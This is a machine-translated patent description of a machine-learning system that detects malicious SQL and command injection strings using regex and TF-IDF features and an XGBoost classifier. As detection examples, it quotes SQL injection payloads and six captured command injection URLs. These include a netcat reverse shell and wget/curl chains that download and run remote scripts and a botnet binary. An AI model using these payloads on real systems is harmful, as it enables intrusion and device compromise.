Network attack detection using target feature extraction from vulnerability utilization tools

Abstract

The invention discloses a method, a system and a computer system for detecting malicious SQL (Structured Query Language) or command injection character string. The method includes obtaining an SQL or command injection string and determining whether the command injection string is malicious based at least in part on a machine learning model.

Description

Background Art

[0001] Evil individuals attempt to damage computer systems in various ways. As an example, such individuals can embed or otherwise include malware ("malware") in an email attachment and transmit the malware to an unsuspecting user or cause the malware to be transmitted to an unsuspecting user. As another example, such individuals can enter command strings, such as SQL input strings, OS commands, etc., which cause a remote host to execute such command strings. When executed, the malicious command string damages the victim's computer. Certain types of malicious command strings instruct the damaged computer to communicate with the remote host. For example, malware can turn a damaged computer into a "zombie" in a "botnet", receiving instructions from a command and control (C&C) server and / or reporting data to the C&C server under the control of an evil individual. One method of mitigating the damage caused by vulnerability exploit tools (e.g., malware, malicious command strings, etc.) is that a security company (or other appropriate entity) attempts to identify the vulnerability exploit tools and prevents them from reaching / executing end-user computers. Another method is to try to prevent the damaged computer from communicating with the C&C server. Unfortunately, malicious authors are using increasingly sophisticated techniques to obfuscate how their exploits work. As an example, some types of malware use Domain Name System (DNS) queries to exfiltrate data. Therefore, there is a constant need for improved techniques to detect malware and prevent its harm. BRIEF DESCRIPTION OF THE DRAWINGS

[0002] Various embodiments of the invention are disclosed in the following detailed description and accompanying drawings.

[0003] Figure 1 is a block diagram of an environment in which malicious input strings are detected or suspected, according to various embodiments.

[0004] Figure 2 is a block diagram of a system for detecting malicious input strings according to various embodiments.

[0005] Figure 3 is a diagram of generating a feature vector using an input string according to various embodiments.

[0006] Figure 4 is a diagram of generating a combined feature vector using an input string according to various embodiments.

[0007] Figure 5A is a diagram illustrating a feature space of features for use in connection with classifying an input string in accordance with various embodiments.

[0008] Figure 5B is a diagram depicting detection of malicious input strings in accordance with various embodiments.

[0009] Figure 6 is a flow chart of a method for determining whether an input string is malicious according to various embodiments.

[0010] Figure 7 is a flow chart of a method for determining whether an input string is malicious according to various embodiments.

[0011] Figure 8 is a flowchart of a method for obtaining (one or more) feature vectors for training a machine learning model according to various embodiments.

[0012] Fig. 9 is a flow chart of a method for obtaining training data according to various embodiments.

[0013] Fig.10 is a flow chart of a method for obtaining a model to classify malicious input strings according to various embodiments.

[0014] Fig.11 is a flow chart of a method for detecting malicious input strings according to various embodiments.

[0015] Fig.12 is a flow chart of a method for detecting malicious input strings according to various embodiments. DETAILED DESCRIPTION

[0016] The present invention may be implemented in many ways, including as a process, an apparatus, a system; a composition of matter; a computer program product embodied on a computer-readable storage medium; and / or a processor, such as a processor configured to execute instructions stored on and / or provided by a memory coupled to the processor. In this specification, these embodiments or any other form that the present invention may take may be referred to as techniques. In general, the order of the steps of the disclosed processes may be changed within the scope of the present invention. Unless otherwise stated, a component described as being configured to perform a task (such as a processor or memory) may be implemented as a general component that is temporarily configured to perform a task at a given time or as a specific component manufactured to perform a task. As used herein, the term "processor" refers to one or more devices, circuits, and / or processing cores configured to process data, such as computer program instructions.

[0017] A detailed description of one or more embodiments of the present invention is provided below together with the accompanying drawings that illustrate the principles of the present invention. The present invention is described in conjunction with such embodiments, but the present invention is not limited to any embodiment. The scope of the present invention is limited only by the claims, and the present invention encompasses many alternatives, modifications and equivalents. Many specific details are set forth in the following description to provide a thorough understanding of the present invention. These details are provided for illustrative purposes, and the present invention can be practiced according to the claims without some or all of these specific details. For the purpose of clarity, technical materials known in the technical field related to the present invention have not been described in detail to avoid unnecessarily obscuring the present invention.

[0018] As used herein, a security entity is a network node (e.g., a device) that implements one or more security policies with respect to information (such as network traffic, files, etc.). As an example, a security entity can be a firewall. As another example, a security entity can be implemented as a router, a switch, a DNS resolver, a computer, a tablet, a laptop, a smartphone, etc. Various other devices can be implemented as security entities. As another example, security can be implemented as an application running on a device, such as an anti-malware application.

[0019] As used herein, "malware" refers to an application that engages in behavior that the user does not approve / would not approve if fully informed, whether secret or not (and whether illegal or not). Examples of malware include Trojans, viruses, rootkits, spyware, hacker tools, keyboard loggers, etc. An example of malware is a desktop application that collects the location of the end user and reports it to a remote server (but does not provide location-based services, such as mapping services, to the user). Another example of malware is a malicious Android application package .apk (APK) file, which appears to the end user as a free game, but secretly sends SMS paid messages (e.g., each costs $10), thereby rapidly increasing the end user's phone bill. Another example of malware is an Apple iOS flashlight application that secretly collects the user's contacts and sends those contacts to spammers. Other forms of malware can also be detected / thwarted using the techniques described herein (e.g., ransomware). Further, although malware signatures are described herein as being generated for malicious applications, the techniques described herein can also be used in various embodiments to generate profiles for other types of applications (e.g., adware profiles, benign software profiles, etc.).

[0020] As used herein, an input string includes an SQL statement or an SQL command or other command injection string.

[0021] As used herein, a zero-day exploit includes an exploit that is not yet known, such as an exploit that is not in the public domain.

[0022] As used herein, a regex (also referred to as a regular expression) includes a pattern or sequence of characters. For example, a sequence of characters specifies a search pattern in a text.

[0023] Malicious users can use malicious input strings as vulnerability exploits to compromise target nodes (e.g., computers or other remote hosts). Malicious input strings use structured statements to exploit weaknesses in the system (e.g., weaknesses in the code, applications, etc.). For example, a malicious input string is used to open a network connection, which in turn is used as an entry point for a malicious user. Command injection can be used to exploit weaknesses to call code / command execution (e.g., execute malicious code or open a network connection, etc.). SQL injection can be used to exploit weaknesses for data leakage. An example of SQL injection is at the login screen, where the user is entered as: 'OR1=1; / *, and the password is entered as * / --. The aforementioned SQL injection will cause the system to select results from the user where user_is="OR1=1; / *', and password='* / --'.

[0024] An example SQL injection in the HTTP POST request body is: action=sendPasswordEmail1&username=admin'or1=1--

[0025] An example SQL injection HTTP GET request URL is: / inspection / web / v1.0 / admin / team_conf / page / 10 / 1?teamNm=&unionPay=&orgCd=AND(SELECT2*(IF((SELECT*FROM(SELECTCONCAT(0x71626b6a71,(SELECT(ELT(8619=8619,1))),0x717a7a6a71,0x78))s),8446744073709551610,8446744073709551610)))

[0026] Preventing Exploitation of Vulnerabilities via Malicious Input Strings and Detecting Such Attacks There are at least two significant challenges in detecting and preventing vulnerability exploitation: (i) detecting vulnerability exploits should be highly accurate to prevent false alarms (e.g., false positives); and (ii) detection techniques should be scalable to detect visible as well as invisible vulnerability exploits (e.g., known or exploits in the public domain and zero-day exploits).

[0027] According to the related art, vulnerability exploits using malicious input strings are identified based on pattern matching techniques. Because such pattern matching techniques generally match patterns in known vulnerability exploits with input traffic, related art matching techniques are generally unable to detect zero-day vulnerability exploits (e.g., related art matching techniques are generally only applicable to known vulnerability exploits).

[0028] Various embodiments include systems and / or methods for detecting malicious input strings or other exploits based on machine learning models. In some embodiments, the system (i) receives an input string, (ii) performs feature extraction, and (iii) determines whether the input string is malicious based at least in part on the feature extraction results using a classifier. As an example, performing feature extraction includes obtaining one or more feature vectors (e.g., feature vectors based at least in part on one or more characteristics of the input string). In some embodiments, the classifier corresponds to a model to determine whether the input string is malicious, and the model is trained using a machine learning process. It has been found that such (one or more) classifiers identify known exploits and zero-day exploits, and (one or more) classifiers are highly accurate with a relatively low false positive rate.

[0029] Various embodiments include systems and / or methods for detecting vulnerability exploits. The system includes one or more processors and a memory coupled to the one or more processors and configured to provide instructions to the one or more processors. The one or more processors are configured to obtain an input string and determine whether the input string is malicious based at least in part on a machine learning model. In some embodiments, the input string is a SQL or command injection string.

[0030] Various embodiments include systems and / or methods for training a model to detect vulnerability exploits. The system includes one or more processors and a memory coupled to the one or more processors and configured to provide instructions to the one or more processors. The one or more processors are configured to perform malicious feature extraction, perform vulnerability exploit feature extraction based at least in part on term frequency-inverse document frequency (TF-IDF), and generate a set of feature vectors for training a machine learning model for detecting SQL and / or command injection network attacks.

[0031] In some embodiments, the system trains a model for detecting vulnerability exploits. For example, the model can be a model trained using a machine learning process. Training the model includes obtaining sample vulnerability exploit traffic, obtaining sample benign traffic, and obtaining a set of vulnerability exploit features based at least in part on the sample vulnerability exploit traffic and the sample benign traffic. In some embodiments, the set of vulnerability exploit features is determined based at least in part on one or more characteristics of the vulnerability exploit traffic. As an example, the set of vulnerability exploit features is determined based at least in part on one or more characteristics of the vulnerability exploit traffic related to one or more characteristics of the benign traffic. The sample vulnerability exploit traffic and / or malicious traffic can be generated using a traffic generation tool. As an example, the traffic generation tool is a known tool for generating malicious vulnerability exploits. Examples of traffic generation tools for generating vulnerability exploit traffic include open source penetration testing tools, such as Commix developed by the Commix project, or sqlmap developed by the sqlmap project and used in https: / / sqlmap.org As another example, the traffic generation tool may be a vulnerability exploitation simulation module, such as the threat simulation module developed by Picus Security. The vulnerability exploitation traffic may include malicious payloads, such as malicious SQL statements or other structured statements.

[0032] In some embodiments, the system performs malicious feature extraction in conjunction with generating (e.g., training) a model to detect vulnerability exploits. Malicious feature extraction can include one or more of the following: (i) obtaining specific features from SQL and command injection strings using predefined regex statements; and (ii) filtering out the described features from the original input data set using algorithm-based feature extraction.

[0033] In some embodiments, the predefined regex statements can be set by an administrator or other user of the system. For example, the predefined regex statements are manually defined and stored in the system (e.g., stored at a security policy or within a policy for training a model). As an example, at least a subset of regex statements can be expert defined. Regex statements can be statements that capture certain contextual patterns. For example, malicious structured statements are typically part of a code language. According to various embodiments, feature extraction using regex statements identifies specific syntax included in an input string (e.g., a command or SQL injection string).

[0034] In some embodiments, the algorithm-based feature extraction uses TF-IDF to extract a set of features. In some embodiments, a first subset of features obtained during malicious feature extraction is obtained using expert-generated regex statements, and a second subset of features obtained during malicious feature extraction is obtained using algorithm-based feature extraction.

[0035] According to various embodiments, a traffic generation tool is used to generate exploit traffic in conjunction with a generation model to detect exploits. The system performs malicious feature extraction based on the exploit traffic. The system then obtains training data to be used to train the model. For example, the training data includes exploit traffic and benign traffic. In some embodiments, feature extraction is performed with respect to the exploit traffic, and training vectors are generated using the exploit and benign traffic. Using exploit traffic as a basis for performing feature extraction and using both exploit traffic and benign traffic as a basis for generating training vectors can ensure a high-quality training data matrix that can be used to train different machine learning architectures. Using a traffic generation tool to generate exploit traffic for use in conjunction with a generation model can ensure that high-quality (e.g., correctly labeled) and diverse (e.g., covering many different exploits) traffic is used in the training data for the model.

[0036] According to various embodiments, a model for detecting vulnerability exploit traffic is obtained using a machine learning process. Examples of machine learning processes that can be implemented in conjunction with training the model include random forests, linear regression, support vector machines, naive Bayes, logistic regression, K nearest neighbors, decision trees, gradient boosted decision trees, K-means clustering, hierarchical clustering, density-based spatial clustering of noise applications (DBSCAN) clustering, principal component analysis, and the like. In some embodiments, the system trains an XGBoost machine learning classifier model. The input to a classifier (e.g., an XGBoost machine learning classifier model) is a combined feature vector or a set of feature vectors, and based on the combined feature vector or the set of feature vectors, the classifier model determines whether the corresponding traffic (e.g., an input string) is malicious or the likelihood that the traffic is malicious (e.g., whether the traffic is vulnerability exploit traffic).

[0037] According to various embodiments, the model is trained using the XGBoost machine learning process. In some implementations, models trained using the XGBoost machine learning process are preferred because such models easily migrate simple versions of regex to pre-filtering modes supported by security entities (e.g., firewalls, etc.). It has also been found that the XGBoost model improves the false positive rate and results in better detection of vulnerability exploits relative to deep learning models.

[0038] According to various embodiments, the system receives a URI path or parameter. In response to receiving the URI path or parameter, the system performs one or more decodings (e.g., multi-layer decoding) relative to the URI path or parameter. Examples of decoding performed by the system relative to the URI path or parameter include decoding based on URI percent encoding, URI Unicode encoding, hexadecimal encoding, HTML encoding, char() / chr() encoding, MIME encoding, etc. Various other encodings can be implemented. In response to performing one or more decodings relative to the URI path or parameter, the system performs feature extraction relative to the result of the decoding. In some embodiments, feature extraction includes regex-based feature extraction. The system then provides the result of the feature extraction (e.g., a feature vector) to the model to obtain a prediction of whether the input string (e.g., corresponding to the received URI or parameter) is malicious. In response to determining that the prediction indicates that the input string is malicious, the system treats the input string as vulnerability exploit traffic. For example, the system implements one or more security policies relative to the vulnerability exploit traffic.

[0039] In some embodiments, a feature vector is obtained by applying features obtained by extracting and algorithm-based feature extraction using (one or more) predefined regex statements (e.g., features obtained using TF-IDF) to a combination of vulnerability exploit traffic and benign traffic. The resulting feature vector can be highly accurate for distinguishing vulnerability exploit traffic from benign traffic because the previously extracted vulnerability exploit feature generation distribution is distinguishable from benign traffic and vulnerability exploit traffic. In some embodiments, the predefined regex statements can be modified to include previously unidentified vulnerability exploits, or to mitigate false positive rates (e.g., by removing (one or more) features that produce false positive detections). Therefore, the systems and methods for detecting vulnerability exploits according to various embodiments are scalable and controllable to tune and better interpret detection results.

[0040] In some embodiments, features are extracted using traffic that is selected only as exploit traffic (e.g., exploit traffic generated from a traffic generation tool). For example, features are extracted based on exploit traffic, and benign traffic is not used in conjunction with feature extraction. Related art techniques for extracting features generally use features that are extracted using all classes of input data - both malicious and benign traffic.

[0041] According to various embodiments, a system for detecting vulnerability exploits (e.g., malicious input strings) is implemented by one or more servers. One or more servers can provide services for one or more clients and / or security entities. For example, one or more servers detect malicious input or determine / evaluate whether an input string is malicious, and provide an indication of whether the input string is malicious to one or more clients and / or security entities. In response to determining that the input string is malicious and / or in conjunction with an update to a mapping of an input string to an indication of whether the input string is malicious (e.g., an update to a blacklist including (one or more) identifiers associated with a malicious input string), one or more servers provide an indication that the input string is malicious to a security entity. As another example, in response to a request from a client or security department for an assessment of whether the input string is malicious, one or more servers determine whether the input string is malicious, and one or more servers provide the result of such a determination. In some embodiments, in response to determining that the input string is malicious, the system updates the mapping of the representative information / identifier of the input string to the malicious input string to include a record or other indication that the input string is malicious. The system can provide the mapping to a security entity, an endpoint, etc.

[0042] In some embodiments, the system receives information from a third-party service such as ) related to the maliciousness of an input string (e.g., a historical data set of malicious vulnerability exploits (such as malicious input strings) and a historical data set of benign input strings). A third-party service may provide a set of input strings that are considered malicious and a set of input strings that are considered benign. As an example, a third-party service may analyze an input string and provide an indication of whether the input string is malicious or benign and / or a score indicating the likelihood that the input string is malicious. The system may receive updates (e.g., at predefined intervals, when updates are available, etc.) from the third-party service, such as with newly identified benign or malicious input strings, corrections to previous misclassifications, and the like. In some embodiments, an indication of whether an input string in a historical data set corresponds to a social score (such as a community-based score or rating (e.g., a reputation score)) indicating that the input string is malicious or is likely to be malicious. The system may use the historical information in conjunction with training a classifier (e.g., a classifier for determining whether an input string is malicious).

[0043] According to various embodiments, a security entity and / or a network node (e.g., a client, a device, etc.) handles traffic (e.g., an input string, a file, etc.) based at least in part on an indication that the traffic is malicious (e.g., an input string is malicious) and / or that the input string matches an input string indicated as malicious. In response to receiving an indication that the traffic (e.g., an input string) is malicious, the security network and / or the network node may update a mapping of input strings to corresponding indications of whether the input strings are malicious and / or a blacklist of input strings. In some embodiments, the security entity and / or the network node receives a signature related to the input string (e.g., a sample considered to be malicious), and the security entity and / or the network node stores the signature of the input string for use in conjunction with detecting whether an input string obtained (such as via network traffic) is malicious (e.g., based at least in part on comparing a signature generated for the input string with a signature of the input string included in a blacklist of input strings). As an example, the signature may be a hash.

[0044] Firewalls typically deny or allow network transmissions based on a set of rules. These rule sets are often referred to as policies (e.g., network policies, network security policies, security policies, etc.). For example, a firewall can filter inbound traffic by applying a set of rules or policies to prevent unwanted external traffic from reaching the protected device. A firewall can also filter outbound traffic by applying a set of rules or policies (e.g., allowing, blocking, monitoring, notifying, or recording and / or other actions that can be specified in firewall rules or firewall policies, which can be triggered based on various criteria, such as described herein). A firewall can also filter local network (e.g., intranet) traffic by similarly applying a set of rules or policies.

[0045] Security devices (e.g., security appliances, security gateways, security services, and / or other security devices) may include various security functions (e.g., firewalls, anti-malware, intrusion prevention / detection, data loss prevention (DLP), and / or other security functions), networking functions (e.g., routing, quality of service (QoS), workload balancing of network-related resources, and / or other networking functions), and / or other functions. For example, routing functions may be based on source information (e.g., IP address and port), destination information (e.g., IP address and port), and protocol information.

[0046] Basic packet filtering firewalls filter network communication traffic by inspecting individual packets transmitted on the network (e.g., packet filtering firewalls or first generation firewalls, which are stateless packet filtering firewalls). Stateless packet filtering firewalls typically inspect individual packets themselves and apply rules based on the inspected packets (e.g., using a combination of the packet's source and destination address information, protocol information, and port numbers).

[0047] A stateful firewall can also perform state-based packet inspection, where each packet is inspected within the context of a series of packets associated with the flow of packets transmitted by the network. This firewall technology is generally referred to as stateful packet inspection because it maintains a record of all connections that pass through the firewall and is able to determine whether a packet is the start of a new connection, part of an existing connection, or an invalid packet. For example, the state of the connection itself can be one of the criteria for triggering a rule within a policy.

[0048] As discussed above, advanced or next-generation firewalls can perform stateless and stateful packet filtering as well as application layer filtering. Next-generation firewalls can also perform additional firewall technologies. For example, some newer firewalls are sometimes referred to as advanced or next-generation firewalls that can also identify users and content (e.g., next-generation firewalls). In particular, some next-generation firewalls are expanding the list of applications that these firewalls can automatically identify to thousands of applications. Examples of such next-generation firewalls are commercially available from Palo Alto Networks (e.g., Palo Alto Networks' PA Series firewalls). For example, Palo Alto Networks' next-generation firewalls enable enterprises to identify and control applications, users, and content—not just ports, IP addresses, and packets—using a variety of identification technologies, such as the following: APP-ID for accurate application identification, User-ID for user identification (e.g., by user or user group), and Content-ID for real-time content scanning (e.g., controlling web browsing and limiting data and file transfers). These identification technologies allow enterprises to safely enable application use using business-related concepts, rather than following the traditional methods provided by traditional port blocking firewalls. Furthermore, specialized hardware for next-generation firewalls (e.g., implemented as a dedicated appliance) generally provides higher performance levels for application inspection than software executed on general-purpose hardware (e.g., security appliances such as those offered by Palo Alto Networks, which use dedicated, function-specific processing that is tightly integrated with a single-pass software engine to maximize network throughput while minimizing latency).

[0049] Advanced or next-generation firewalls may also be implemented using virtualized firewalls. Examples of such next-generation firewalls are commercially available from Palo Alto Networks (e.g., Palo Alto Networks' PA Series Next-Generation Firewalls, Palo Alto Networks' VM Series Firewalls, which support a variety of commercial virtualization environments, including, for example, ESXi TM and NSX TM , NetScaler SDX TM, KVM / OpenStack (Centos / RHEL, ) and Amazon Web Services (AWS), and the CN series container next-generation firewall, which supports a variety of commercial container environments, including, for example, Kubernetes, etc.). For example, the virtualized firewall can support similar or identical next-generation firewall and advanced threat defense features available in physical form factor appliances, allowing enterprises to safely enable applications to flow into and across private, public and hybrid cloud computing environments for these applications. Automation features, such as VM monitoring, dynamic address groups and REST-based APIs, allow enterprises to proactively monitor VM changes to dynamically feed that context into security policies, eliminating policy lags that can occur when VMs change.

[0050] According to various embodiments, a system for detecting vulnerability exploits (e.g., malicious input strings) is implemented by a security entity. For example, the system for detecting malicious input strings is implemented by a firewall. As another example, the system for detecting malicious input strings is implemented by an application, such as an anti-malware application running on a device (e.g., a computer, a laptop, a mobile phone, etc.). According to various embodiments, the security entity receives an input string, obtains information related to the input string (e.g., a feature vector, a combined feature vector, a pattern of characters, etc.), and determines whether the input string is malicious based at least in part on the information related to the input string. As an example, the system determines one or more feature vectors (e.g., a combined feature vector) corresponding to the input string, and determines whether the input string is malicious using a classifier based at least in part on the one or more feature vectors. In response to determining that the input string is malicious, the security entity applies one or more security policies relative to the input string. In response to determining that the input string is not malicious (e.g., the input string is benign), the security entity treats the input string as non-malicious traffic. In some embodiments, the security entity determines whether the input string is malicious based at least in part on performing a lookup relative to a mapping of representative information or identifiers of the input string (e.g., a calculated hash that uniquely identifies the input string or another signature of the input string) to malicious input strings to determine whether the mapping includes matching representative information or identifiers of the input string (e.g., the mapping includes a record of the input string whose hash matches the calculated hash of the received input string). Examples of hash functions used to determine a hash corresponding to a file include a SHA-256 hash function, an MD5 hash function, a SHA-1 hash function, etc. Various other hash functions may be implemented.

[0051] Various embodiments improve the detection of vulnerability exploit traffic. It is found that systems and methods (e.g., neural network models) for detecting vulnerability exploits improve the detection of vulnerability exploits by at least 20%-30% compared to related neighborhood systems that rely on signature-based vulnerability exploit detection or static pattern matching methods for vulnerability exploit detection, and in some embodiments, vulnerability exploit detection is increased by 30%-40%. As an example, various embodiments are able to identify some recent vulnerability exploits relative to the Log4J library. As another example, the XGBoost model was found to have a false positive rate of approximately 0.0005% (measured by analyzing traffic for one month). As another example, the neural network model was found to have a false positive rate of approximately 0.34% (measured by analyzing traffic for one month). The use of systems and methods according to various embodiments provides high accuracy and low false positive rates for the detection of known vulnerability exploits and unknown vulnerability exploits (e.g., zero-day exploits).

[0052] A detection comparison was run for various types of traffic using systems and methods for detecting vulnerability exploits according to various embodiments (e.g., using a model trained using a machine learning process) and a related art intrusion prevention system (IPS). The detection comparison results using systems / methods according to various embodiments and a related art IPS are provided in Table 1 below. In Table 1, "ML" is used to represent systems / methods according to various embodiments. As shown in the ML vs. IPS column in Table 1, the systems / methods according to various embodiments detect a significantly higher number of vulnerability exploits on various types of traffic as compared to the related art IPS. In contrast, as shown in the IPS vs. ML column, the related art IPS is only able to detect a relatively small number of vulnerability exploits that the systems / methods according to various embodiments would otherwise not be able to detect.

[0053]

[0054] Table 1

[0055] Examples of vulnerability exploits detected by systems and methods for detecting vulnerability exploits according to various embodiments include:

[0056] (A)" / set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=f

[0057] tp&dir= / &mode=PORT&upload_interval=0&sv

[0058] r=%24%28nc+209.141.51.176+1245+-e+%2Fbin%2Fsh%29”;

[0059] (B)“ / backupmgt / localJob.php?session=fail;cd+ / tmp;wget+http; / / 212.192.241.72 / lolol

[0060] .sh;curl+-O+http; / / 212.192.241.72 / lolol.sh;sh+lolol.sh”;

[0061] (C)“ / shell?cd+ / tmp;rm+-

[0062] rf+*;wget+http; / / 192.168.1.1:8088 / mozi.a;chmod+777+mozi.a; / tmp / mozi.a+jaws”;

[0063] (D)“ / cgi-

[0064] bin / kerbynet?section=noauthreq%26action=x509list%26type=*%22;cd%20 / tmp;curl%20-o%20http; / / 5.206.227.228 / zero;sh%20zero;%22”;

[0065] (E)“ / tmui / login.jsp / ..; / tmui / locallb / workspace / tmshcmdjsp?command=wget+http: / / 136.144.41.3+igipdmcdmsklcmk%252ohsitsvegawellrip.sh+;+chmod+777+ohsitsvegawellrip.sh+;+sh+ohsitsvegawellrip.sh+;+wget+https; / / https;%252%252iplogger.org%22fgvp5”;and

[0066] (F)" / ?Express=aaaa&autoEscape=&defaultFilter=e'); var+require=global.require+||+global.process.mainModule .cotor._load;+require(′child_process′).exec(′wgethttp; / / c4t937h1q4qe7bo7rf50cr7t4cyyyf86e.interact.sh′)”

[0067] Figure 1 is a block diagram of an environment according to various embodiments in which malicious input strings are detected or suspected. In the example shown, client devices 104-108 (respectively) are laptops, desktop computers, and tablets present in an enterprise network 110 (belonging to "Acme Company"). Data appliance 102 is configured to implement policies (e.g., security policies) regarding communications between client devices (such as client devices 104 and 106) and nodes outside the enterprise network 110 (e.g., reachable via external network 118). Examples of such policies include policies that control traffic shaping, quality of service, and traffic routing. Other examples of policies include security policies, such as policies that require scanning incoming (and / or outgoing) email attachments, website content, input to application portals (e.g., web interfaces), files exchanged through instant messaging programs, and / or other file transfers. In some embodiments, data appliance 102 is also configured to implement policies with respect to traffic remaining in (or entering) the enterprise network 110.

[0068] The techniques described herein can be used in conjunction with various platforms (e.g., desktops, mobile devices, gaming platforms, embedded systems, etc.) and / or various types of applications (e.g., Android .apk files, iOS applications, Windows PE files, Adobe Acrobat PDF files, Microsoft Windows PE installers, etc.). Figure 1 In the example environment shown in , client devices 104 - 108 (respectively) are a laptop, a desktop computer, and a tablet that reside within an enterprise network 110 . Client device 120 is a laptop that resides outside of the enterprise network 110 .

[0069] The data appliance 102 may be configured to work in conjunction with the remote security platform 140. The security platform 140 may provide a variety of services, including performing static and dynamic analysis on malicious samples, providing a list of signatures of known exploits (e.g., malicious input strings, malicious files, etc.) to a data appliance (such as the data appliance 102) as part of a subscription, detecting exploits, such as malicious input strings or malicious files (e.g., on-demand detection or periodic updates based on mappings of input strings or files to indications of whether the input strings or files are malicious or benign), providing a likelihood that an input string or file is malicious or benign, providing / updating a whitelist of input strings or files that are considered benign, providing / updating input strings or files that are considered malicious, identifying malicious input strings, detecting malicious input strings, detecting malicious files, predicting whether an input string or file is malicious, and providing an indication that an input string or file is malicious (or benign). In various embodiments, the analysis results (as well as additional information related to applications, domains, etc.) are stored in the database 160. In various embodiments, the security platform 140 includes one or more dedicated commercially available hardware servers (e.g., with (one or more) multi-core processors, 32G+ of RAM, (one or more) Gigabit network interface adapters, and (one or more) hard drives) that run typical server-class operating systems (e.g., Linux). The security platform 140 can be implemented across a scalable infrastructure that includes multiple such servers, solid-state drives, and / or other applicable high-performance hardware. The security platform 140 can include several distributed components, including components provided by one or more third parties. For example, part or all of the security platform 140 can be implemented using Amazon Elastic Compute Cloud (EC2) and / or Amazon Simple Storage Service (S3). Further, as with the data appliance 102, whenever the security platform 140 is referred to as performing a task (such as storing data or processing data), it should be understood that a subcomponent or multiple subcomponents of the security platform 140 (whether alone or in collaboration with third-party components) can collaborate to perform the task. As an example, the security platform 140 can optionally collaborate with one or more virtual machine (VM) servers to perform static / dynamic analysis. An example of a virtual machine server is a physical machine that includes commercially available server-grade hardware (e.g., a multi-core processor, 32+ gigabytes of RAM, and one or more gigabit network interface adapters) running commercially available virtualization software such as VMware ESXi, Citrix XenServer, or Microsoft Hyper-V. In some embodiments, the virtual machine server is omitted. Further, the virtual machine server can be under the control of the same entity that manages the security platform 140, but can also be provided by a third party.As one example, the virtual machine server may rely on EC2, with the remainder of the security platform 140 provided by dedicated hardware owned and controlled by the operator of the security platform 140 .

[0070] In some embodiments, the system 100 (e.g., malicious input string detector 170, security platform 140, etc.) trains a model to detect vulnerability exploits (e.g., malicious input strings). The system 100 performs malicious feature extraction, performs vulnerability exploit feature extraction based at least in part on term frequency-inverse document frequency (TF-IDF), and generates a set of feature vectors for training a machine learning model for detecting SQL and / or command injection network attacks. The system then trains the machine learning model using the set of feature vectors, such as based on training data including one or more of malicious traffic and benign traffic.

[0071] According to various embodiments, the security platform 140 includes a DNS tunnel detector 138 and / or a malicious input string detector 170. The malicious input string detector 170 is used in conjunction with determining whether an input string is malicious. In response to receiving a sample (e.g., an input string, such as an input string input in conjunction with a login attempt), the malicious input string detector 170 analyzes the input string and determines whether the input string is malicious. For example, the malicious input string detector 170 determines one or more feature vectors (e.g., a combined feature vector) of the input string and uses a model to determine (e.g., predict) whether the input string is malicious. The malicious input string detector 170 determines whether the input string is malicious based at least in part on one or more attributes of the input string. In some embodiments, the malicious input string detector 170 receives the input string, performs feature extraction (e.g., feature extraction with respect to one or more attributes of the input string), and determines (e.g., predicts) whether the input string (e.g., a SQL or command injection string) is malicious based at least in part on the feature extraction results. For example, the malicious input string detector 170 uses a classifier to determine (e.g., predict) whether the input string is malicious based at least in part on the feature extraction results. In some embodiments, the classifier corresponds to a model to determine whether an input string is malicious, and the model is trained using a machine learning process.

[0072] In some embodiments, malicious input string detector 170 includes one or more of input string parser 172 , prediction engine 174 , ML model 176 , and / or cache 178 .

[0073] The input string parser 172 is used in conjunction with determining (e.g., isolating) one or more attributes or one or more sets of alphanumeric characters or values ​​associated with the input string being analyzed. In some embodiments, the input string parser 172 obtains one or more attributes associated with (e.g., from) the input string. For example, the input string parser 172 obtains one or more patterns (e.g., patterns of alphanumeric characters), one or more sets of alphanumeric characters, one or more commands, one or more pointers or links, one or more IP addresses, etc. from the input string.

[0074] In some embodiments, one or more feature vectors corresponding to the input string are determined by the malicious input string detector 170 (e.g., the input string parser 172 or the prediction engine 174). For example, the one or more feature vectors are determined (e.g., padding) based at least in part on one or more attributes or a set of one or more alphanumeric characters or values ​​associated with the input string. As an example, the input string parser 172 uses one or more attributes associated with the input string in conjunction with determining the one or more feature vectors. In some embodiments, the input string parser 172 determines a combined feature vector based at least in part on one or more feature vectors corresponding to the input string. As an example, the set of one or more feature vectors is determined (e.g., set or defined) based at least in part on a model for detecting vulnerability exploits. The malicious input string detector 170 can use the set of one or more feature vectors to determine one or more attributes of a pattern to be determined (e.g., padding, etc.). The model can be trained using a set of features obtained based at least in part on sample malicious traffic, such as a set of features corresponding to a predefined regex statement and / or a set of feature vectors determined based on algorithm-based feature extraction. For example, the model is determined based at least in part on performing malicious feature extraction in conjunction with generating (e.g., training) a model to detect vulnerability exploits. Malicious feature extraction may include one or more of the following: (i) obtaining specific features from SQL and command injection strings using predefined regex statements; and (ii) filtering out the described features from the original input data set using algorithm-based feature extraction.

[0075] In response to receiving an input string for which malicious input string detector 170 is to determine whether the input string is malicious (or the likelihood that the input string is malicious), malicious input string detector 170 determines one or more feature vectors (e.g., individual feature vectors corresponding to a set of predefined regex statements, individual feature vectors corresponding to attributes or patterns obtained using an algorithm-based analysis of a vulnerability exploit, and / or a combination of both, etc.). As an example, in response to determining (e.g., obtaining) the one or more feature vectors, malicious input string detector 170 (e.g., input string parser 172) provides the one or more feature vectors to prediction engine 174 (making the one or more feature vectors accessible to prediction engine 174) (e.g., in conjunction with obtaining a prediction of whether the input string is malicious). As another example, malicious input string detector 170 (e.g., input string parser 172) stores the one or more feature vectors, such as in cache 178 or database 160.

[0076] In some embodiments, prediction engine 174 determines whether an input string is malicious based at least in part on one or more of: (i) a mapping of input strings to corresponding indications of whether the input strings are malicious, (ii) a mapping of identifiers of the input strings (e.g., a hash or other signature associated with the input strings) to corresponding indications of whether the input strings are malicious, and / or (iii) a classifier (e.g., a model trained using a machine learning process).

